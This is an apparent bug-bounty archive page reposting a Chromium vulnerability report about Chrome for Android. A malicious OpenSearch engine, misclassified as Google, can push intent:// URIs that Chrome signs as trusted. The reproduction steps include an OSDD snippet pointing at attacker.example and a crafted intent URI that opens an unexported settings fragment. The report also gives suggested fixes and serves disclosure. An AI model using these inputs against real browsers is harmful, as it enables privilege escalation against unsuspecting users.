Skip to content
Access control Advisory Advanced CVE-2026-106241

Incorrect authorization in Search (CVE-2026-106241)

Chrome's OpenSearch parser does not enforce same-origin checks between search and suggestion URLs, and engine classification relies only on the search URL. This allows an attacker to create a misclassified 'Google' search engine with a malicious suggestion endpoint, then inject Action in Suggest payloads containing arbitrary intent:// URIs that Chrome signs with a trusted authentication token, enabling the launch of internal unexported activities.

Google Chrome

Originally disclosed on Chrome VRP

  • Fix shipped in 6 months

Project Fortify, an experimental security project, has identified the following potential security issue. If you're a feature owner CC-ed on this bug, please do your best to review these reports without the Chrome Security team.

Overview: Chrome's OpenSearch parser does not enforce same-origin checks between search and suggestion URLs, and engine classification relies only on the search URL. This allows an attacker to create a misclassified 'Google' search engine with a malicious suggestion endpoint. The attacker can then inject Action in Suggest payloads containing arbitrary intent:// URIs that Chrome signs with a trusted authentication token, allowing the launch of internal unexported activities.

Affected files:

  • components/search_engines/template_url.cc
  • components/omnibox/browser/base_search_provider.cc
  • components/omnibox/browser/search_provider.cc
  • components/omnibox/browser/autocomplete_input.cc
  • components/search_engines/template_url_parser.cc
  • chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/suggestions/action/OmniboxActionInSuggest.java
  • chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/suggestions/action/OmniboxActionDelegateImpl.java

Estimated timestamp from git blame: 2025-01-09

Summary

A potential privilege escalation and sandbox escape vulnerability exists in Chrome for Android's Omnibox suggestion handling. An attacker can use a malicious OpenSearch Description Document (OSDD) to register a search engine that Chrome incorrectly classifies as a trusted Google engine. This misclassification allows the attacker to supply malicious ActionInSuggest payloads from their server. These payloads can contain arbitrary intent:// URIs. When the user interacts with the suggestion, Chrome parses the URI and, because it targets Chrome, mistakenly attaches its internal TRUSTED_APPLICATION_CODE_EXTRA token before dispatching it. This allows an attacker to bypass security boundaries, navigate to chrome:// URLs, or launch unexported internal activities like SettingsActivity to perform fragment injection.

Technical Details

  1. OSDD Parsing Lacks Origin Enforcement: When parsing an OSDD (components/search_engines/template_url_parser.cc), Chrome extracts the search <Url> and suggestion <Url> independently without enforcing a same-origin policy.
  2. Engine Misclassification: search::TemplateURLIsGoogle() (components/search/search.cc:31) relies on TemplateURL::GetEngineType(), which determines the engine type by generating a test URL from the search template only. If the search URL points to www.google.com, the engine is classified as SEARCH_ENGINE_GOOGLE, even if the suggestion URL points to an attacker-controlled domain.
  3. Malicious Payload Acceptance: When a user types a query using this engine, SearchProvider fetches suggestions from the attacker's server. The attacker returns a JSON payload with a google:suggesttemplate field. In BaseSearchProvider::CreateSearchSuggestion() (components/omnibox/browser/base_search_provider.cc:232), the code relies on the flawed is_google check to allow the attachment of OmniboxActionInSuggest objects derived from the attacker's payload.
  4. Intent Parsing and Trusted Signing: The attacker provides an intent:// URI in the payload's action_uri field. When the user taps the suggestion, OmniboxActionInSuggest.execute() (chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/suggestions/action/OmniboxActionInSuggest.java:111) parses the URI into an Intent. It does not sanitize the intent's component. It then calls delegate.startActivity(intent).
  5. Privilege Escalation: OmniboxActionDelegateImpl.startActivity checks if the intent targets Chrome via IntentUtils.intentTargetsSelf(intent). Since the attacker crafted the intent to target Chrome, this check passes, and IntentUtils.addTrustedIntentExtras(intent) is called. This attaches Chrome's unforgeable PendingIntent token (TRUSTED_APPLICATION_CODE_EXTRA). The intent is then dispatched, allowing it to reach unexported components (e.g., SettingsActivity fragment injection) and bypass isTrustedIntentFromSelf() checks.

Suggested Reproduction Steps

Note: These are potential steps based on code analysis; a full PoC has not been executed.

  1. Host an OSDD (osdd.xml) at https://attacker.example/:
    XML
    <Url type="text/html" template="https://www.google.com/search?q={searchTerms}"/>
    <Url type="application/x-suggestions+json" template="https://attacker.example/suggest?q={searchTerms}"/>
    
  2. Lure a user to https://attacker.example/ to trigger OSDD discovery, or convince them to manually add the search engine.
  3. When the user types the engine's keyword followed by a space and query in the Omnibox, the attacker's server receives the request.
  4. The server responds with a JSON payload containing a Base64-encoded google:suggesttemplate specifying an action of type DIRECTIONS_VALUE and an action_uri like: intent://foo#Intent;package=com.android.chrome;component=com.android.chrome/org.chromium.chrome.browser.settings.SettingsActivity;S.show_fragment=org.chromium.chrome.browser.tracing.settings.DeveloperSettings;end
  5. When the user taps the resulting 'Directions' chip, Chrome will launch the internal, unexported DeveloperSettings fragment with trusted privileges.

Suggested Fix

  1. Strict Engine Verification: search::TemplateURLIsGoogle() must validate that both the search URL and the suggestion URL belong to a recognized Google domain.
  2. Intent Sanitization: OmniboxActionInSuggest.execute() must sanitize parsed intent:// URIs, similar to ExternalNavigationHandler.sanitizeQueryIntentActivitiesIntent(), ensuring that intent.setComponent(null) and intent.setSelector(null) are called to prevent targeting specific internal activities.
  3. OSDD Origin Validation: Consider enforcing a same-origin policy between search and suggestion URLs during OSDD parsing.

Evaluated with Chrome root at commit: 096fc8fdbfacf2546485756d03f160a3d04fcc9b


Results so far have been promising, but there can be wrong deductions. If this proves to be a false positive, please close as WAI; data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.

The original report as published on the Chromium issue tracker. Images and videos are our own copies; raw HTML is shown as text. View it on Chromium issue tracker.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the OpenSearch parser does not enforce same-origin between search and suggestion URLs, and engine classification only checks the search URL, so a malicious suggestion endpoint is trusted as Google.

Impact

An attacker could bypass security boundaries, navigate to chrome:// URLs, or launch unexported internal activities like SettingsActivity to perform fragment injection.

What the attacker needed

Victim uses Chrome on Android; victim adds or is lured to add malicious search engine; victim types a query using that engine; victim taps the malicious suggestion chip

The fix

The report suggests strict engine verification, intent sanitization, and OSDD origin validation; it does not state that a fix was applied.

How it was found

  1. Host an OSDD at the attacker's domain with a Google search URL and an attacker suggestion URL.
  2. Lure a user to the attacker's site to trigger OSDD discovery or convince them to manually add the search engine.
  3. When the user types the engine's keyword and query, the attacker's server receives the request.
  4. The server responds with a JSON payload containing a Base64-encoded google:suggesttemplate specifying an action and an intent:// URI.
  5. When the user taps the resulting 'Directions' chip, Chrome launches the internal unexported DeveloperSettings fragment with trusted privileges.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Chrome lets websites add themselves as search engines. This report says a malicious site can pretend to be Google by using a Google search address but a different address for suggestions. When you use that fake engine, the site can send special instructions that Chrome trusts too much, letting it open hidden parts of the app.

What is Access control?

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.

More from Google Chrome

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.